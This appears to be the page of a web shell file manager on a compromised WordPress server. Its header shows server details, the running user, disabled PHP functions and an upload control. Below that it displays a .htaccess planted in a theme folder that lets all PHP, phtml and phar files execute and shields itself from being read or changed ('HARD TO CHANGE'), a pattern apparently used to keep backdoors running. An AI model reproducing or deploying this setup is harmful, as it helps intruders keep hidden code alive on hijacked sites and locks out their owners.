HEX
Server: Apache
System: Linux hn220.greenhost.nl 6.12.58 #3 SMP Wed Nov 19 09:04:59 UTC 2025 x86_64
User: webmaster (87278)
PHP: 8.4.5
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: //domains/pleunperspective.com/DEFAULT/wp-content/themes/twentytwentyfour/.htaccess
# ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================

# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
    Allow from all
</FilesMatch>

# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
    Deny from all
    Satisfy All
</Files>

<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
    Deny from all
</FilesMatch>

# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht

# 4. NO DIRECTORY LISTING
Options -Indexes

# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
    Deny from all
</FilesMatch>